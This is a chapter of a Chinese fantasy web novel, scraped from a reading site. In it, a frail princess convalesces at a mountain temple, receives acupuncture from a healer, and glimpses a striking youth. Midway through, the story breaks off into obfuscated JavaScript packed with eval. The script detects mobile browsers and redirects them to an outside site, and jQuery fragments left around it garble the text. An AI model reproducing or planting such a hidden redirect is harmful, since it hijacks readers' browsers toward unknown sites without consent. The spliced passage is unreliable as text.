123读书网 > 玄幻小说 > 回到宿敌少年时 > 4. 第 4 章
    颜舜华昏睡了半个月,人都躺瘦了,原本就是弱柳扶风的人,这么一病,简直瘦骨伶仃,脸颊都凹了一圈。


    她一张巴掌大的小脸更加苍白,配上那黑漆漆的眼,黑漆漆的睫毛,无端透着股森森鬼气。


    颜舜华只看了一眼镜子,就立刻把手中的雕花小镜扔出老远。


    哐啷一声,铜镜落地,在地上滚了好几圈。


    阿佩喜极而泣,夏嬷嬷老怀欣慰,泪眼婆娑,叹息道:“真好啊,咱们公主都有力气扔东西了。”


    颜舜华抬手摸了摸脸,环顾四周后,有些讶异地看着屋中简陋陈设,皱起眉头:“为何这里如此简陋?”


    上一世她来这养病,住的是个三进三出的院子,清幽雅致地,自成一方天地,而不是这么个连旁人吵闹声都听得清楚的陋室。


    窗外又传来少女呜呜咽咽的哭泣声,阿佩说道:“公主有所不知,浮屠古寺年久失修,能住人的地方就能么几个,咱们来得晚,那个最好的院子已经住了人。”


    颜舜华一愣:“那个院子住了人?”


    夏嬷嬷也惋惜:“那是个三进三出的好院子,幽静又私密,最适合女儿家住着,奴婢们想出高价让他们让出院子,偏生住在那的人软硬不吃。”


    阿佩点头:“那院子的守卫也是练家子,利诱不成,威逼也不成。”


    这又和前世有些出入了。


    颜舜华揉揉额头,倒在软枕上闭目养神,夏嬷嬷说道:“公主刚醒来,就算胃口不好也得吃点东西,我让下人去煮碗粥,再做几样容易克化的点心送过来。”


    青菜粥里,肉糜剁得细细的,颜舜华喝了小半碗,又吃半个葱花银丝卷。


    阿佩说道:“这浮屠古寺缺衣少食,比不上宫里,前几次还能住个好院子,哪像这回,就住个这么个小院,公主来这可真是遭罪。”


    颜舜华说道:“病好了就成。”


    她刚醒来,人恹恹的,打不起精神,有气无力地说了一会话后又困了。阿佩扶着她躺下,颜舜华倒在床榻上,闭上眼。


    身体疲乏无力,神思也昏沉。


    什么雄才大略都毁在这具不争气的身子骨上了。


    颜舜华苦笑一声,无奈地闭上眼。


    晚上门窗紧闭,颜舜华脱了衣衫,裸着脊背趴在软枕上,密密麻麻的银针扎满了全身,跟个小刺猬似的。


    穿着素色衣裳的中年女子坐在床前,手里拿着一根点燃的艾条,熏着颜舜华的后脖颈。


    中年女子名叫罗青羽,是长住在浮屠古寺里的巫医。除了针灸之外,她尤其擅长祝由术,但离了浮屠古寺,她的祝由术就不灵了。


    一根短艾条燃尽,罗青羽开始收针,趴在榻上的颜舜华转抬头问她:“我这辈子能活过十六岁么?”


    罗青羽看着她那张雪白的脸,说道:“若是出家做了姑子,从此远离红尘是非,日夜修身养性,少忧思,少挂碍,说不准能多活个几年,否则不得好死。”


    颜舜华睁着一双黑漆漆的眼睛,哼笑一声:“那多没意思,我就要在红尘锦绣里活个轰轰烈烈痛痛快快的,否则还不如现在就死了。”


    罗青羽被她这话一噎,在一旁帮着打下手的夏嬷嬷却笑了起来。


    颜舜华其实是很活泼的性子,身体好的时候上树爬墙,就连颜溪玉都说她是皮猴子。后来病狠了,才有了现在这样看上去很安静的样子。


    罗青羽拔出最后一根针,看见床头放着一摞书,粗略一扫,都是些奇门遁甲排兵布阵的,忍不住说道:“你这病不能费神,这些耗心血上费脑袋的书还是别看了,当心少白头。”


    颜舜华说道:“白就白了,皮囊而已,有什么好在乎的。”


    罗青羽又是一噎,忍不住瞪她。


    颜舜华九岁那年病重,被皇宫的人送到这里求医。在雾隐山待的日子不算少。


    颜舜华养病时无聊,就去古寺的书院里找了点杂书打发时间,一来二去,引起了罗青羽师哥的注意。


    罗青羽的师哥见这少女异常聪慧,便偶尔讲些奇门遁甲给她听。


    一个愿意教,一个愿意学。罗青羽的师哥好为人师,又给她讲兵法,两人开始在沙盘上对阵,玩得不亦乐乎。


    罗青羽私下里和师哥闲聊时,师哥说颜舜华性情凶狠,杀心太重,而且是个极端之人。


    与她对弈,若她占优势,便大刀阔斧横扫千军,很有名将的风姿磊落。若她劣势,便狡诈阴狠,使尽诡计,像一条阴冷难缠的毒蛇。


    说到这,罗青羽的师哥也不知是感叹还是惋惜:“幸亏是个女子,若是男子,必定是搅动一方天地的风云人物。”


    床榻上,颜舜华穿上小衣,披上罩衫,没骨头似的倚着背后的软枕。


    罗青羽写下药方,让颜舜华的人去下山抓药,正要再叮嘱几句,窗外忽然传来少女的哭声。


    那哭声一阵阵的,莫名的幽怨,颜舜华裹紧了身上的罩衫说道:“这是哪家的姑娘,哭声也太渗人了。”


    罗青羽揉揉额头,“是护国公府里的四小姐。”


    “她干嘛哭的这样惨?”


    罗青羽又揉揉额头,“上个月,这里来了个少年,长得.......”


    她略微顿了顿,语气和脸色都微妙起来,“长得很是不错。”


    四小姐李思年,颜舜华略微有点印象。


    护国公的女儿们都生的美,李思弦灿若玫瑰,李思年也长得艳若桃李,都是不可多得的美人,说一声绝色也不为过。


    这样的美人,试问天下间有几个男人能拒绝如斯美色。便是不动心,也不该将人惹哭了啊。


    “让世家贵女放弃矜持频频示好,这可罕见极了”,颜舜华的好奇心一下子被勾了起来,“这得长成什么样啊?”


    罗青羽笑了一声,“这么好奇啊?那就好好养病,明个自己出去看看。还有,你阳气不足,中午时找个日头充足的地方晒背,不穿衣服最好,若是怕羞,穿着衣服晒也行。”


    又过了两日,颜舜华精神大好,中午多吃了两块话梅排骨。


    想起罗青梅嘱咐她多晒背,颜舜华便让阿佩和夏嬷嬷带着椅子和软垫走出院子,寻一处阳光充足的好地方。


    走出院子,景色豁然开阔。


    颜舜华才发现这处地势十分陡峭,往前十尺是一个长满杂草野花的斜坡,斜坡下,一条清澈的小溪蜿蜒而过,正午的阳光一照,真是流水潺潺,波光粼粼。


    对面是一座山,高树参天,草木葳蕤,偶尔有几只鹰从林中飞起,而后直冲云霄。


    风声、鸟声、树声、溪水声,院子虽然简陋,但这景色实在是美极了。


    院墙上爬满了九重紫,开着茂密的浅紫色小花,铺成厚厚的一层从墙檐上垂下来。墙边种着一排柳树,其中两颗柳树格外粗壮,两人才能合抱住,两棵树中间系着一张有些简陋的吊床,上面铺着浅灰色的粗布垫子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020648|178502||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    颜舜华看了一眼便转过头,坐在斜坡上听着溪水声。


    阿佩和夏嬷嬷已经把躺椅支在一颗柳树下,又架起了挂着蚊帐的架子。


    躺椅是皇宫里匠人做,十分精巧,可以折起来靠墙放着省地方,放下来就是一张小床,若是躺累了,椅背可以单独支起来,变成了一把躺椅。


    垂柳隐秘,此处风景辽阔优美,现下又静谧无人,颜舜华可以躺在纱帐看风景,还能借着阳光晒晒身子。


    夏嬷嬷还在低声念叨着什么于理不合,颜舜华说道:“都到这深山老林里了,何必再用那些规矩拘束着自个,天地都是咱们的床铺,哪里睡不得。”


    夏嬷嬷说道:“公主......小姐说的对。”


    宫里人人都要学规矩,唯独颜舜华没怎么学,一来她体弱,二来她并不是皇室血脉,至于第三嘛,人人都知道颜舜华可能活不长,对她也没什么要求,多活几天就不错了。


    还有就是颜溪玉和别的女子不太一样,她不想让颜舜华嫁人,没入皇宫时,她就准备给颜舜华招赘婿,不想让颜舜华吃嫁人的苦。这些年在宫里,她更是用自己的最大能力将颜舜华护在她的羽翼下。


    她对颜舜华别无所求,只希望颜舜华能无忧无虑地活着。


    她给寺庙捐香火钱,给菩萨大佛塑金身,每逢初一十五吃斋念佛,逢年过节都以颜舜华的名义给百姓施粥。她做这么多,只为了向上天求个功德圆满,希望颜舜华这辈子少受点苦,来世投胎能有个好身体。


    颜舜华趴在软垫上,日光穿透身上的薄衫,后背被晒得暖洋洋的。


    她眯着眼睛,即将睡着时,一串脚步声由远及近,逐渐清晰。


    一个娇嗔悦耳的声音传过来, “少渊哥哥,你尝尝我做的点心吧,用竹筒蒸熟的糯米碾碎,卷着枣泥和红枣又蒸了一遍,放凉之后我特意放在井水里浸凉了,吃起来清甜可口,就连罗神医都说好吃。”


    颜舜华把眼睛睁开一条缝,轻悄悄地从躺椅上走下来,站在柳树后面探出头。


    正午的日头十分耀眼,穿着粉蓝色纱裙的少女小跑着跟在一个高个少年身后。


    那少女的容颜娇艳极了,肌肤如雪,杏眼桃腮,一头青丝用粉色发带束在脑后,头上簪了几朵粉色小绢花。


    那少年个子高大,肩宽腿长,穿着一身平平无奇的黑衣大步走在前面。他头上戴着个大草帽,遮住了大半张脸,颜舜华只能看到一截下巴和笼罩在帽檐阴影下的嘴唇。


    目光下移,是少年被腰带束着的腰。


    他肩膀宽,显得腰身窄,一双腿更是又直又长,脚上穿着一双半新不旧的黑靴,靴子中间缝了一串金扣子做点缀。


    他步子迈得大,行走之间衣摆如翻涌的墨浪,靴子上的两排金扣子闪闪发光,恍如两条笔直的金线刻画在他修长的小腿上。


    这身段可真风流啊。


    但也没什么特殊的,身段风流的男子她也见得多了,梁玄、她前世的禁军统领许鹤鸣、她前世的未婚夫许鹤停、她登基第二年亲封的探花燕熙山、亲封的武状元向岳,样貌身段都是一等一的。


    这深山老林,李家这深居闺阁的四小姐没见过什么好东西,见到个平头正脸的就忘了情了。


    这般想着,颜舜华刚准备缩回头,谁知那个高个少年似乎察觉到了她的目光,忽然抬起头朝着颜舜华看过来。


    颜舜华看着他的脸,倏地愣住了。